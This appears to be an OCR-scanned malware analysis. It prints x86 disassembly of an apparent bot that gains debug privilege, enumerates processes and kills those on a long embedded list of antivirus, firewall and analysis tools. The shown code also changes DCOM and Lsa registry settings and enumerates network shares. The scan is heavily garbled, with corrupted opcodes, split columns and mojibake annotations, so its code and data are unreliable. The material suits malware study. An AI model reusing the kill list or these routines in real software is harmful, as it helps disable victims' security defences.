
je 3.004147CF

mov edi,dword ptr ds:[<&KERNEL32.0OpenProcess>]
mov ebx, 1 FOFFF
/xor eax,eax
|cmp dword ptr ss:[ebp+18],eax
je short 3.0041470D
|[mov dword ptr ss:[ebp-4],3.00436DAC
|/mov eax,dword ptr ss:[ebp-4]
|[push dword ptr ds:[eax]

|[lea eax,dword ptr ss:[ebp-10C]
|lpush eax
||call dword ptr ds:[<&KERNEL32.IstrcmpiA>]

|test eax,eax

llje short 3.004146DC

|ladd dword ptr ss:[ebp-4],4
|lcmp dword ptr ss:[ebp-4],3.0043776C
[\j1 short 3.004146B4
[jmp 3.004147B5
|[push dword ptr ss:[ebp-128]

>

;|

b

>

>

b

; SeDebugPrivilege
TR

MRt e

kernel32.Process32First

kernel32.CloseHandle

kernel32.Process32Next

>

>

kernel32.0OpenProcess

ALOGSERV.EXE

; /String2 =

; |String1

; \IstrempiA

>

>

PR A2 I HERE S 15

ASCII "i11r54n4.exe"



004146E2 |. 6A 00
004146E4 |. 53
004146E5 |. FFD7
004146E7 |. 85C0
004146E9 |. 8945 FC

004146EC |. 0F84 C3000000
004146F2 |. 6A00

004146F4 |. 50

004146F5 |. FF1560114200
004146FB |. 85C0

004146FD |. 0F85 B2000000
00414703 |> FF75FC
00414706 |. FFD6

00414708 |. E9 A8000000
0041470D |> 394514

00414710 |. OF85 8A000000
00414716 |. 39450C

00414719 |. 0F84 96000000
0041471F |. FFB5 DSFEFFFF
00414725 |. 6A08

00414727 |- FF15 785A4400
kernel32.CreateToolhelp32Snapshot
0041472D |. 837D 1C00
00414731 |. 8945FC

|[push 0
[push ebx
|call edi
test eax,eax
|mov dword ptr ss:[ebp-4],eax
lje 3.004147B5
|[push 0
|[push eax

|call dword ptr ds:[<&KERNEL32.TerminateProcess>]

test eax,eax

[inz 3.004147B5

|[push dword ptr ss:[ebp-4]

|call esi

[jmp 3.004147B5

|cmp dword ptr ss:[ebp+14],eax
[jnz 3.004147A0
|cmp dword ptr ss:[ebp+C],eax
lje 3.004147B5

|[push dword ptr ss:[ebp-128]
|[push 8
|call dword ptr ds:[445A78]

|cmp dword ptr ss:[ebp+1C],0
|[mov dword ptr ss:[ebp-4],eax

00414734 |. C785 ACFCFFFF 2402>mov dword ptr ss:[ebp-354],224

0041473E |. 7420

00414740 |. 8D8D ACFCFFFF
00414746 |. 51

00414747 |. 50

00414748 |. FF15 24594400

0041474E |. FFBS5 D8FEFFFF
00414754 |. 85C0

00414756 |. 74 0E

00414758 |. 8D85 CCFDFFFF
0041475E |. EBOC

00414760 |> FFB5 DSFEFFFF
00414766 |> 8D85 F4AFEFFFF
0041476C > 50

0041476D |. 8D85 ACFAFFFF
00414773 |. 68 64984300
00414778 |. 50

00414779 |. E8 C7260000
0041477E |. 83C410
00414781 |. 8D85 ACFAFFFF
00414787 |. 6A01

00414789 |. FF7510
0041478C |. 50

0041478D |. FF750C
00414790 |. FF7508
00414793 |. ES8 7083FFFF
00414798 |. 83C4 14
0041479B |~ E9 63FFFFFF

je short 3.00414760
[lea ecx,dword ptr ss:[ebp-354]
[push ecx
|[push eax
|call dword ptr ds:[445924]
|[push dword ptr ss:[ebp-128]
test eax,eax
je short 3.00414766
[lea eax,dword ptr ss:[ebp-234]
|jmp short 3.0041476C
|[push dword ptr ss:[ebp-128]
[lea eax,dword ptr ss:[ebp-10C]
|[push eax
[lea eax,dword ptr ss:[ebp-554]
[push 3.00439864
|[push eax
|call 3.00416E45
ladd esp,10
[lea eax,dword ptr ss:[ebp-554]
|[push 1
[push dword ptr ss:[ebp+10]
|[push eax
[push dword ptr ss:[ebp+C]
[push dword ptr ss:[ebp+8]
|call 3.0040CBO08
ladd esp,14
[jmp 3.00414703

; /ExitCode = 0
; [nProcess
; \TerminateProcess

;  kernel32.Module32First

;o %s (%d)



004147A0 > FF7514 |[push dword ptr ss:[ebp+14]

004147A3 |. 8DS85 FAFEFFFF [lea eax,dword ptr ss:[ebp-10C]

004147A9 |. 50 |[push eax

004147AA |. E8 B12A0000 |call 3.00417260

004147AF |. 59 [pop ecx

004147B0 |. 85CO0 test eax,eax

004147B2 |. 59 |pop ecx

004147B3 |. 7433 [je short 3.004147E8

004147B5 |> 8D85 DOFEFFFF [lea eax,dword ptr ss:[ebp-130]

004147BB |. 50 |[push eax

004147BC |. FF75F8 |[push dword ptr ss:[ebp-8]

004147BF |. FF15 78594400 |call dword ptr ds:[445978] ; kernel32.Process32Next
004147C5 |. 85CO0 test eax,eax

004147C7 |~ OF85 DOFEFFFF \jnz 3.004146A6

004147CD |. 33DB xor ebx,ebx

004147CF |>» FF75F8 push dword ptr ss:[ebp-8]

004147D2 |. FFD6 call esi

004147D4 > 53 push ebx

004147D5 |. 68 D8934200 push 3.004293D8 ;  SeDebugPrivilege
004147DA |. EB8 98FDFFFF call 3.00414577

004147DF |. 59 pop ecx

004147E0 |. 59 pop ecx

004147E1 > 33CO0 XOr eax,eax

004147E3 > 5F pop edi

004147E4 |. 5E pop esi

004147E5 |. 5B pop ebx

004147E6 |. C9 leave

004147E7 |. C3 retn

004147E8 > FFBS5 D8FEFFFF push dword ptr ss:[ebp-128]

004147EE |. 6A00 push 0

004147F0 |. 53 push ebx

004147F1 |. FFD7 call edi

004147F3 |. FF75F8 push dword ptr ss:[ebp-8]

004147F6 |. 8BF8 mov edi,eax

004147F8 |. FFD6 call esi

004147FA |. 6A00 push 0 ; /ExitCode = 0
004147FC |. 57 push edi ; |hProcess
004147FD |. FF15 60114200 call dword ptr ds:[<&KERNEL32.TerminateProcess>] ; \TerminateProcess
00414803 |. 85C0 test eax,eax

00414805 |. 7505 jnz short 3.0041480C

00414807 |. 57 push edi

00414808 |. FFD6 call esi

0041480A |~ EB D5 jmp short 3.004147E1

0041480C > 6AO01 push 1

0041480E |. 58 pop eax

0041480F \"EB D2 jmp short 3.004147E3

LR R KA XL,

r54nd.exe, irund.exe, d3dupdate.exe, rate.exe, ssate.exe, winsys.exe, winupd.exe, SysMonXP.exe, bbeagle.exe, Penis32.exe,
mscvb32.exe, sysinfo.exe, PandaAVEngine.exe, F-AGOBOT.EXE, HIJACKTHIS.EXE, AVPM.EXE, AVPCC.EXE,
_AVP32.EXE , ZONEALARM.EXE , ZONALM2601.EXE , ZATUTOR.EXE, ZAPSETUP3001.EXE, ZAPRO.EXE ,
XPF202EN.EXE, WYVERNWORKSFIREWALL.EXE, WUPDT.EXE, WUPDATER.EXE, WSBGATE.EXE, WRCTRL.EXE,
WRADMIN.EXE, WNT.EXE, WNAD.EXE, WKUFIND.EXE, WINUPDATE.EXE, WINTSK32.EXE, WINSTARTO001.EXE,



WINSTART.EXE, WINSSK32.EXE, WINSERVN.EXE, WINRECON.EXE, WINPPR32 EXE, WINNET.EXE, WINMAIN.EXE,
WINLOGIN.EXE, WININITX.EXE, WININIT.EXE, WININETD.EXE, WINDOWS.EXE, WINDOW.EXE, WINACTIVE.EXE,
WIN32US.EXE, WIN32.EXE, WIN-BUGSFIX.EXE, WIMMUN32.EXE, WHOSWATCHINGME.EXE, WGFE95.EXE,
WFINDV32.EXE, WEBTRAP.EXE, WEBSCANX.EXE, WEBDAVEXE, WATCHDOG.EXE, W9X.EXE, W32DSM89.EXE,
VSWINPERSE.EXE, VSWINNTSE.EXE, VSWIN9XE.EXE, VSSTAT.EXE, VSMON.EXE, VSMAIN.EXE, VSISETUP.EXE,
VSHWIN32.EXE, VSECOMR.EXE, VSCHED.EXE, VSCENU6.02D30.EXE, VSCAN40.EXE, VPTRAY.EXE, VPFW30S.EXE,
VPC42.EXE, VPC32.EXE, VNPC3000.EXE, VNLAN300.EXE, VIRUSMDPERSONALFIREWALL.EXE, VIR-HELP.EXE,
VFSETUP.EXE, VETTRAY.EXE, VET95.EXE, VET32.EXE, VCSETUPEXE, VBWINNTW.EXE, VBWINOX.EXE,
VBUST.EXE , VBCONS.EXE, VBCMSERVEXE, UTPOST.EXE, UPGRAD.EXE, UPDATE.EXE, UPDATEXE,
UNDOBOOT.EXE, TVITMD.EXE, TVMD.EXE, TSADBOT.EXE, TROJANTRAP3.EXE, TRJSETUP.EXE, TRISCAN.EXE,
TRICKLER.EXE , TRACERT.EXE , TITANINXP.EXE, TITANIN.EXE, TGBOB.EXE, TFAKS.EXE, TFAK.EXE,
TEEKIDS.EXE, TDS2-NT.EXE, TDS2-98.EXE, TDS-3.EXE, TCM.EXE, TCA.EXE, TC.EXE, TBSCAN.EXE, TAUMON.EXE,
TASKMON.EXE, TASKMO.EXE, TASKMG.EXE, SYSUPD.EXE, SYSTEM32.EXE, SYSTEM.EXE, SYSEDIT.EXE,
SYMTRAY.EXE, SYMPROXYSVC.EXE, SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE, SWEEP95.EXE, SVSHOST.EXE,
SVCHOSTS.EXE, SVCHOSTC.EXE, SVC.EXE, SUPPORTERS.EXE, SUPPORT.EXE, SUPFTRL.EXE, STCLOADER.EXE,
START.EXE, ST2.EXE, SSG 4104.EXE, SSGRATE.EXE, SS3EDIT.EXE, SRNG.EXE, SREXE.EXE, SPYXX.EXE,
SPOOLSV32 EXE, SPOOLCV.EXE, SPOLER.EXE, SPHINX.EXE, SPF.EXE, SPERM.EXE, SOFLEXE, SOAP.EXE,
SMSS32.EXE , SMS.EXE , SMC.EXE , SHOWBEHIND.EXE , SHN.EXE, SHELLSPYINSTALL.EXE , SH.EXE,
SGSSFW32.EXE , SFC.EXE , SETUP FLOWPROTECTOR US.EXE , SETUPVAMEEVAL.EXE , SERVLCES.EXE ,
SERVLCE.EXE, SERVICE.EXE, SERV95.EXE, SD.EXE, SCVHOST.EXE, SCRSVR.EXE, SCRSCAN.EXE, SCANPM.EXE,
SCANO9S.EXE, SCAN32.EXE, SCAM32.EXE, SC.EXE, SBSERV.EXE, SAVENOW.EXE, SAVE.EXE, SAHAGENT.EXE,
SAFEWEB.EXE , RUXDLL32.EXE , RUNDLLI6.EXE , RUNDLL.EXE , RUN32DLL.EXE , RULAUNCH.EXE ,
RTVSCN9S.EXE, RTVSCAN.EXE, RSHELL.EXE, RRGUARD.EXE, RESCUE32.EXE, RESCUE.EXE, REGEDT32.EXE,
REGEDIT.EXE, REGED.EXE, REALMON.EXE, RCSYNC.EXE, RB32EXE, RAY.EXE, RAVS8WIN32ENG.EXE,
RAV7WIN.EXE, RAV7.EXE, RAPAPP.EXE, QSERVER.EXE, QCONSOLE.EXE, PVIEW95.EXE, PUSSY.EXE, PURGE.EXE,
PSPF.EXE , PROTECTX.EXE , PROPORTEXE , PROGRAMAUDITOR.EXE , PROCEXPLORERVI1.0.EXE ,
PROCESSMONITOR.EXE , PROCDUMPEXE , PRMVR.EXE, PRMT.EXE, PRIZESURFER.EXE, PPVSTOP.EXE,
PPTBC.EXE, PPINUPDT.EXE, POWERSCAN.EXE, PORTMONITOR.EXE, PORTDETECTIVE.EXE, POPSCAN.EXE,
POPROXY.EXE, POP3TRAP.EXE, PLATIN.EXE, PINGSCAN.EXE, PGMONITR.EXE, PFWADMIN.EXE, PF2.EXE,
PERSWF.EXE, PERSFW.EXE, PERISCOPE.EXE, PENIS.EXE, PDSETUP.EXE, PCSCAN.EXE, PCIP10117 0.EXE,
PCFWALLICON.EXE, PCDSETUPEXE, PCCWIN9S8.EXE, PCCWIN97.EXE, PCCNTMON.EXE, PCCIOMON.EXE,
PCC2K 76 1436.EXE, PCC2002S902.EXE, PAVW.EXE, PAVSCHED.EXE, PAVPROXY.EXE, PAVCL.EXE, PATCH.EXE,
PANIXK.EXE, PADMIN.EXE, OUTPOSTPROINSTALL.EXE, OUTPOSTINSTALL.EXE, OUTPOST.EXE, OTFIX.EXE,
OSTRONET.EXE, OPTIMIZE.EXE, ONSRVR.EXE, OLLYDBG.EXE, NWTOOL16. EXE, NWSERVICE.EXE, NWINST4.EXE,
NVSVC32.EXE, NVC95.EXE, NVARCHI6.EXE, NUPGRADE.EXE, NULEXE, NTXconfig.EXE, NTVDM.EXE,
NTRTSCAN.EXE, NT.EXE, NSUPDATE.EXE, NSTASK32.EXE, NSSYS32.EXE, NSCHED32.EXE, NPSSVC.EXE,
NPSCHECK.EXE , NPROTECT.EXE, NPFMESSENGER.EXE, NPF40 TW 98 NT ME 2K.EXE, NOTSTART.EXE,
NORTON INTERNET SECU 3.0 407.EXE, NORMIST.EXE, NOD32.EXE, NMAIN.EXE, NISUM.EXE, NISSERV.EXE,
NETUTILS.EXE, NETSTAT.EXE, NETSPYHUNTER-1.2.EXE, NETSCANPRO.EXE, NETMON.EXE, NETINFO.EXE,
NETD32.EXE, NETARMOR.EXE, NEOWATCHLOG.EXE, NEOMONITOR.EXE, NDD32.EXE, NCINST4.EXE, NC2000.EXE,
NAVWNT.EXE, NAVW32.EXE, NAVSTUB.EXE, NAVNT.EXE, NAVLU32EXE, NAVENGNAVEXI15NAVLU32EXE,
NAVDX.EXE, NAVAPW32.EXE, NAVAPSVC.EXE, NAVAP.NAVAPSVC.EXE, AUTO-PROTECT.NAV80TRY.EXE, NAV.EXE,
N32SCANW.EXE, MWATCH.EXE, MUO311AD.EXE, MSVXD.EXE, MSSYS.EXE, MSSMMC32.EXE, MSMSGRI32.EXE,
MSMGT.EXE, MSLAUGH.EXE, MSINFO32.EXE, MSIEXECI16.EXE, MSDOS.EXE, MSDM.EXE, MSCONFIG.EXE,
MSCMAN.EXE, MSCCN32.EXE, MSCACHE.EXE, MSBLAST.EXE, MSBB.EXE, MSAPP.EXE, MRFLUX.EXE,
MPFTRAY.EXE, MPFSERVICE.EXE, MPFAGENT.EXE, MOSTAT.EXE, MOOLIVE.EXE, MONITOR.EXE, MMOD.EXE,
MINILOG.EXE, MGUILEXE, MGHTML.EXE, MGAVRTE.EXE, MGAVRTCL.EXE, MFWENG3.02D30.EXE, MFW2EN.EXE,
MFIN32.EXE, MD.EXE, MCVSSHLD.EXE, MCVSRTE.EXE, MCUPDATE.EXE, MCTOOL.EXE, MCSHIELD.EXE,
MCMNHDLR.EXE, MCAGENT.EXE, MAPISVC32.EXE, LUSPT.EXE, LUINIT.EXE, LUCOMSERVER.EXE, LUAU.EXE,
LUALL.EXE , LSETUP.EXE , LORDPE.EXE , LOOKOUT.EXE , LOCKDOWN2000.EXE , LOCKDOWN.EXE ,
LOCALNET.EXE, LOADER.EXE, LNETINFO.EXE, LDSCAN.EXE, LDPROMENU.EXE, LDPRO.EXE, LDNETMON.EXE,
LAUNCHER.EXE ,  KILLPROCESSSETUP161.EXE , KERNEL32.EXE , KERIO-WRP-421-EN-WIN.EXE ,



KERIO-WRL-421-EN-WIN.EXE , KERIO-PF-213-EN-WIN.EXE , KEENVALUE.EXE , KAZZA.EXE , KAVPFEXE ,
KAVPERS40ENG.EXE, KAVLITE40ENG.EXE, JEDLEXE, JDBGMRG.EXE, JAMMER.EXE, ISTSVC.EXE, ISRV95.EXE,
ISASS.EXE, IRIS.EXE, IPARMOR.EXE, IOMON98.EXE, INTREN.EXE, INTDEL.EXE, INIT.EXE, INFWIN.EXE,
INFUS.EXE, INETLNFO.EXE, IFW2000.EXE, IFACE.EXE, IEXPLORER.EXE, IEDRIVER.EXE, IEDLL.EXE, IDLE.EXE,
ICSUPPNT.EXE, ICSUPP95.EXE, ICMON.EXE, ICLOADNT.EXE, ICLOAD9S5.EXE, IBMAVSP.EXE, IBMASN.EXE,
IAMSTATS.EXE, IAMSERV.EXE, IAMAPP.EXE, HXIUL.EXE, HXDL.EXE, HWPE.EXE, HTPATCH.EXE, HTLOG.EXE,
HOTPATCH.EXE, HOTACTIO.EXE, HBSRV.EXE, HBINST.EXE, HACKTRACERSETUP.EXE, GUARDDOG.EXE,
GUARD.EXE, GMT.EXE, GENERICS.EXE, GBPOLL.EXE, GBMENU.EXE, GATOR.EXE, FSMB32.EXE, FSMA32.EXE,
FSM32.EXE, FSGK32.EXE, FSAV95.EXE, FSAV530WTBYB.EXE, FSAVS530STBYB.EXE, FSAV32.EXE, FSAV.EXE,
FSAA.EXE, FRW.EXE, FPROT.EXE, FP-WIN TRIAL.EXE, FP-WIN.EXE, FNRB32.EXE, FLOWPROTECTOR.EXE,
FIREWALL.EXE, FINDVIRU.EXE, FIH32.EXE, FCH32.EXE, FAST.EXE, FAMEH32.EXE, F-STOPW.EXE, F-PROT95.EXE,
F-PROT.EXE, F-AGNT95.EXE, EXPLORE.EXE, EXPERT.EXE, EXE.AVXW.EXE, EXANTIVIRUS-CNET.EXE, EVPN.EXE,
ETRUSTCIPE.EXE , ETHEREAL.EXE, ESPWATCH.EXE, ESCANV95.EXE, ESCANHNTEXE, ESCANH95.EXE,
ESAFE.EXE, ENT.EXE, EMSW.EXE, EFPEADM.EXE, ECENGINE.EXE, DVP95 0.EXE, DVP95.EXE, DSSAGENT.EXE,
DRWEBUPW.EXE, DRWEB32.EXE, DRWATSON.EXE, DPPS2.EXE, DPFSETUPEXE, DPFEXE, DOORS.EXE,
DLLREG.EXE, DLLCACHE.EXE, DIVX.EXE, DEPUTY.EXE, DEFWATCH.EXE, DEFSCANGUILEXE, DEFALERT.EXE,
DCOMX.EXE, DATEMANAGER.EXE, Claw95.EXE, CWNTDWMO.EXE, CWNBI181.EXE, CV.EXE, CTRL.EXE,
CPFNT206.EXE, CPF9X206.EXE, CPD.EXE, CONNECTIONMONITOR.EXE, CMONO16.EXE, CMGRDIAN.EXE,
CMESYS.EXE, CMD32EXE, CLICK.EXE, CLEANPC.EXE, CLEANER3.EXE, CLEANER.EXE, CLEAN.EXE,
CLAWOSCF.EXE, CFINET32.EXE, CFINET.EXE, CFIAUDIT.EXE, CFIADMIN.EXE, CFGWIZ.EXE, CFD.EXE, CDP.EXE,
CCPXYSVC.EXE, CCEVIMGR.EXE, CCAPPEXE, BVT.EXE, BUNDLE.EXE, BS120.EXE, BRASIL.EXE, BPC.EXE,
BORG2.EXE, BOOTWARN.EXE, BOOTCONF.EXE, BLSS.EXE, BLACKICE.EXE, BLACKD.EXE, BISP.EXE,
BIPCPEVALSETUP.EXE , BIPCP.EXE , BIDSERVEREXE , BIDEFEXE , BELT.EXE , BEAGLE.EXE ,
BD PROFESSIONAL.EXE , BARGAINS.EXE , BACKWEB.EXE , AVXQUAR.EXE , AVXMONITORNT.EXE ,
AVXMONITOROX.EXE , AVWUPSRV.EXE, AVWUPD32.EXE, AVWUPD.EXE, AVWINNT.EXE, AVWIN95S.EXE,
AVSYNMGR.EXE, AVSCHED32.EXE, AVPUPD.EXE, AVPTC32.EXE, AVPM.EXE, AVPDOS32.EXE, AVPCC.EXE,
AVP32.EXE, AVPEXE, AVNTEXE, AVLTMAIN.EXE, AVKWCTI9.EXE, AVKSERVICEEXE, AVKSERV.EXE,
AVKPOP.EXE, AVGWEXE, AVGUARD.EXE, AVGSERV9.EXE, AVGSERV.EXE, AVGNTEXE, AVGCTRL.EXE,
AVGCC32.EXE , AVE32.EXE, AVCONSOL.EXE, AUTOUPDATE.EXE, AUTOTRACE.EXE, AUTODOWN.EXE ,
AUPDATE.EXE, AU.EXE, ATWATCH.EXE, ATUPDATER.EXE, ATROSSEN.EXE, ATGUARD.EXE, ATCON.EXE,
ARR.EXE, APVXDWIN.EXE, APLICA32.EXE, APIMONITOR.EXE, ANTS.EXE, ANTIVIRUS.EXE, ANTI-TROJAN.EXE,
AMONI9X.EXE, ALOGSERV.EXE, ALEVIR.EXE, ALERTSVC.EXE, AGENTW.EXE, AGENTSVR.EXE, ADVXDWIN.EXE,
ADAWARE.EXE, ACKWIN32.EXE

/N~ BEI20FAEH] DCOM Thyfig Ol A& g b 4% 6 bl 2h e A = 0w, BRI R0 M OGS

SRR LR S5

00416635 >/6A 01 push 1 ;

00416637 . |6A 00 push 0

00416639 . |6A 00 push 0

0041663B . |[6A 00 push 0

0041663D . |E8 BSFOFFFF call 3.00415FFA

00416642 .[83C4 10 add esp,10

00416645 . |FF35 00F34300 push dword ptr ds:[43F300] ; /Timeout = 120000. ms
0041664B . |FF15 5C104200 call dword ptr ds:[<&KERNEL32.Sleep>] ; \Sleep

00416651  .MEB E2 jmp short 3.00416635 SBE1 20 AT A M
00415FFA / 55 push ebp

00415FFB |. 8BEC mov ebp,esp

00415FFD |. 81EC 14020000 sub esp,214

00416003 |. 56 push esi

00416004 |. 57 push edi



00416005 |. 33FF xor edi,edi

00416007 |. 393D 285B4400 cmp dword ptr ds:[445B28],edi
0041600D |. OF85 19010000 jnz 3.0041612C

00416013 |. 8D45FC lea eax,dword ptr ss:[ebp-4]
00416016 |. BE 02000080 mov esi,80000002

0041601B |. 50 push eax

0041601C |. 68 1F000200 push 2001F

00416021 |. 57 push edi

00416022 |. 68 FCD54200 push 3.0042D5FC
Software\Microsoft\OLE

00416027 |. 56 push esi

00416028 |. FF15 C85A4400 call dword ptr ds:[445AC8]
advapi32.RegOpenKeyExA

0041602E |. 85C0 test eax,eax

00416030 |. 7553 jnz short 3.00416085

00416032 |. 66:A1 7CF64300 mov ax,word ptr ds:[43F67C]
00416038 |. 66:8945 FA mov word ptr ss:[ebp-6],ax
0041603C |. 8D45FA lea eax,dword ptr ss:[ebp-6]
0041603F |. 50 push eax

00416040 |. E8 FB150000 call 3.00417640

00416045 |. 59 pop ecx

00416046 |. 50 push eax

00416047 |. 8D45FA lea eax,dword ptr ss:[ebp-6]
0041604A |. 50 push eax

0041604B |. 6A 01 push 1

0041604D |. 57 push edi

0041604E |. 68 70F64300 push 3.0043F670

00416053 |. FF75FC push dword ptr ss:[ebp-4]
00416056 |. FF157C5A4400 call dword ptr ds:[445A7C]
0041605C |. 85CO0 test eax,eax

0041605E |. 7407 je short 3.00416067

00416060 |. 68 3CF64300 push 3.0043F63C

00416065 |. EBO05 jmp short 3.0041606C
00416067 |> 68 10F64300 push 3.0043F610

0041606C |> 8D85 ECFDFFFF lea eax,dword ptr ss:[ebp-214]
00416072 |. 50 push eax

00416073 |. E8 CD0OD0000 call 3.00416E45

00416078 |. 59 pop ecx

00416079 |. 59 pop ecx

0041607A |. FF75FC push dword ptr ss:[ebp-4]
0041607D |. FF15345A4400 call dword ptr ds:[445A34]
00416083 |. EB 13 jmp short 3.00416098
00416085 |> 8DS85 ECFDFFFF lea eax,dword ptr ss:[ebp-214]
0041608B |. 68 DOF54300 push 3.0043F5D0

00416090 |. 50 push eax

00416091 |. E8 AFODO0000 call 3.00416E45

00416096 |. 59 pop ecx

00416097 |. 59 pop ecx

00416098 |> 397D 14 cmp dword ptr ss:[ebp+14],edi
0041609B |. 751A jnz short 3.004160B7
0041609D |. 6A 01 push 1

0041609F |. 8D85 ECFDFFFF lea eax,dword ptr ss:[ebp-214]

; EnableDCOM

; advapi32.RegSetValueExA
; %H DCOM Ihfig

; advapi32.RegCloseKey



004160A5
004160A8
004160A9
004160AC
004160AF
004160B4
004160B7
004160BD
004160BE
004160C3
004160C4
004160C7
004160C8
004160CD
004160CE

FF75 10
50
FF75 0C
FF75 08
E8 546 AFFFF
83C4 14
8D85 ECFDFFFF
50
E8 B351FFFF
59
8D45 FC
50
68 3F000F00
57
68 14D64200

push dword ptr ss:[ebp+10]
push eax

push dword ptr ss:[ebp+C]
push dword ptr ss:[ebp+8]

call 3.0040CB08
add esp,14

lea eax,dword ptr ss:[ebp-214]

push eax

call 3.0040B276
pop ecx

lea eax,dword ptr ss:[ebp-4]
push eax
push OFO03F

push edi

push 3.0042D614

SYSTEM\CurrentControlSet\Control\Lsa

004160D3
004160D4

56

FF15 C85A4400

advapi32.RegOpenKeyExA

004160DA
004160DC
004160DE
004160E1
004160E3
004160E4
004160E6
004160E7
004160EC
004160EF
004160F6
004160FC
004160FE
00416100
00416105
00416107
0041610C
00416112
00416113
00416118
00416119
0041611A
0041611D
00416123
00416125
0041612A
0041612C
00416131
00416137
00416138
0041613D
0041613E
0041613F

85C0

75 47

8D45 F8
6A 04

50

6A 04

57

68 BCF54300
FF75 FC

C745 F& 01000000
FF15 7C5A4400
85C0

74 07
68 70F54300
EB 05

68 2CF54300

8D8&5 ECFDFFFF
50
E8 2D0D0000
59
59

FF75 FC

FF15 345A4400
EB 1A

68 EO0F44300
EB 05

68 A0F44300
8D85 ECFDFFFF
50
E& 080D0000
59

59

397D 14

push esi
call dword ptr ds:[445ACS]

test eax,eax

jnz short 3.00416125

lea eax,dword ptr ss:[ebp-8]
push 4

push eax

push 4

push edi

push 3.0043F5BC

push dword ptr ss:[ebp-4]
mov dword ptr ss:[ebp-8],1

call dword ptr ds:[445A7C]

test eax,eax
je short 3.00416107
push 3.0043F570

jmp short 3.0041610C

push 3.0043F52C

lea eax,dword ptr ss:[ebp-214]

push eax

call 3.00416E45

pop ecx

pop ecx

push dword ptr ss:[ebp-4]

call dword ptr ds:[445A34]
jmp short 3.0041613F

push 3.0043F4E0

jmp short 3.00416131

push 3.0043F4A0

lea eax,dword ptr ss:[ebp-214]

push eax

call 3.00416E45

pop ecx

pop ecx

cmp dword ptr ss:[ebp+14],edi

; restrictanonymous

; advapi32.RegSetValueExA
; BUH ARG A E DB

; advapi32.RegCloseKey



00416142
00416144
00416146
0041614C
0041614F
00416150
00416153
00416156
0041615B
0041615E
00416164
00416165
0041616A
00416170
00416171
00416177
00416178
0041617B
0041617E
00416181
00416184
00416185
00416188
00416189
0041618C
0041618D
00416190
00416192
00416193
00416198
00416199
0041619F
il
004161A1
004161A4
004161A6
004161AB
004161AD
004161B2
004161B4
004161B5
004161BA
004161BB
004161BC
004161BE
004161C0
004161C2
004161C7
004161C9
004161CE
004161D4
004161D9

75 1A

6A 01

8D&5 ECFDFFFF
FF75 10

50

FF75 0C

FF75 08

E8 AD69FFFF
83C4 14

8D85 ECFDFFFF
50

E8 OC51FFFF
393D 505B4400
59

0F85 62010000
53

897D FC

897D EC

897D F4

8D45 F4

50

&D45 EC

50

&8D45 FC

50

8D45 F8

6A FF

50
68 F6010000
57
FF15 A4594400
3BC7

8945 FO
7478

3D EA000000
7471

BE 08F34300
FF36
57
E8 9F6FFFFF
59

59

FF36

85C0
7507
68 6CF44300
EB 05

68 30F44300
&8D8&5 ECFDFFFF
68 00020000
50

jnz short 3.0041615E
push 1
lea eax,dword ptr ss:[ebp-214]
push dword ptr ss:[ebp+10]
push eax
push dword ptr ss:[ebp+C]
push dword ptr ss:[ebp+8]
call 3.0040CB08
add esp,14
lea eax,dword ptr ss:[ebp-214]
push eax
call 3.0040B276
cmp dword ptr ds:[445B50],edi
pop ecx
jnz 3.004162D9
push ebx
mov dword ptr ss:[ebp-4],edi
mov dword ptr ss:[ebp-14],edi
mov dword ptr ss:[ebp-C],edi
/lea eax,dword ptr ss:[ebp-C]
|[push eax
[lea eax,dword ptr ss:[ebp-14]
|[push eax
|lea eax,dword ptr ss:[ebp-4]
|[push eax
[lea eax,dword ptr ss:[ebp-8]
|push -1
|[push eax
|[push 1F6
[push edi
|call dword ptr ds:[4459A4]
|cmp eax,edi

|mov dword ptr ss:[ebp-10],eax
je short 3.0041621E

|cmp eax,0EA

lje short 3.0041621E

|mov esi,3.0043F308

|/push dword ptr ds:[esi]
|lpush edi

[lcall 3.0040D159

[pop ecx

[pop ecx

|[push dword ptr ds:[esi]

|[test eax,eax
|ljnz short 3.004161C9

[lpush 3.0043F46C

|jmp short 3.004161CE

lpush 3.0043F430

|[lea eax,dword ptr ss:[ebp-214]

|lpush 200

|lpush eax

b

netapi32.NetShareEnum
R 7 A A 3

b



004161DA
004161DF
004161E2
004161E5
004161E7
004161E9
004161EF
004161F2
004161F3
004161F6
004161F9
JIR 55 4%

004161FE
00416201
00416207
00416208
0041620D
00416210
00416211
00416217
00416219
0041621E
00416221
00416223
00416224
00416227
0041622D
0041622F
00416230
00416235
0041623B
0041623C
0041623E
0041623F
00416244
00416245
00416247
0041624C
0041624F
00416251
00416253
00416255
0041625A
0041625C
00416261
00416267
0041626C
0041626D
00416272
00416275
00416279
0041627B

E8 DB110000
83C4 10
397D 14

75 1A

6A 01

8D85 ECFDFFFF
FF75 10

50

FF75 0C

FF75 08

E8 0A69FFFF

83C4 14

8D85 ECFDFFFF
50

E8 6950FFFF
83C6 08

59

81FE 28F34300

A 7C 99

|>

E9 98000000
8B75 F8

6A 01

5B

395D FC

0F82 80000000
8B3E

57

E8 C4150000

66:837C47 FE 24
59

75 64

57

E8 026EFFFF

50

6A 00

E8 OD6FFFFF
83C4 0C

FF36

85C0

7507

68 FCF34300
EB 05
68 COF34300
8D85 ECFDFFFF

68 00020000
50

E8 48110000

83C4 10

837D 14 00

75 1A

6A 01

|lcall 3.004173BA
|ladd esp,10
|lcmp dword ptr ss:[ebp+14],edi
|jnz short 3.00416201
|lpush 1

|[lea eax,dword ptr ss:[ebp-214]

|[push dword ptr ss:[ebp+10]
|[push eax
|lpush dword ptr ss:[ebp+C]
|[push dword ptr ss:[ebp+8]

|lcall 3.0040CB08

|ladd esp,14
|[lea eax,dword ptr ss:[ebp-214]
|lpush eax
|lcall 3.0040B276
ladd esi,8
[[pop ecx
|lcmp es1,3.0043F328
[\j1 short 3.004161B2
[jmp 3.004162B6
|mov esi,dword ptr ss:[ebp-8]
|[push 1
|[pop ebx
|cmp dword ptr ss:[ebp-4],ebx
[jb 3.004162AD
|/mov edi,dword ptr ds:[esi]
|[push edi
|lcall 3.004177F9
|lcmp word ptr ds:[edi+eax*2-2],24
[pop ecx
|jnz short 3.004162A2
|lpush edi
[lcall 3.0040D046
|lpush eax
|[push 0
[lcall 3.0040D159
|ladd esp,0C
|lpush dword ptr ds:[esi]
||test eax,eax
|jnz short 3.0041625C
lpush 3.0043F3FC
|jmp short 3.00416261
[lpush 3.0043F3C0
|[lea eax,dword ptr ss:[ebp-214]
|lpush 200
|lpush eax
lcall 3.004173BA
|ladd esp,10
|lcmp dword ptr ss:[ebp+14],0
|ljnz short 3.00416295
|lpush 1

b

>
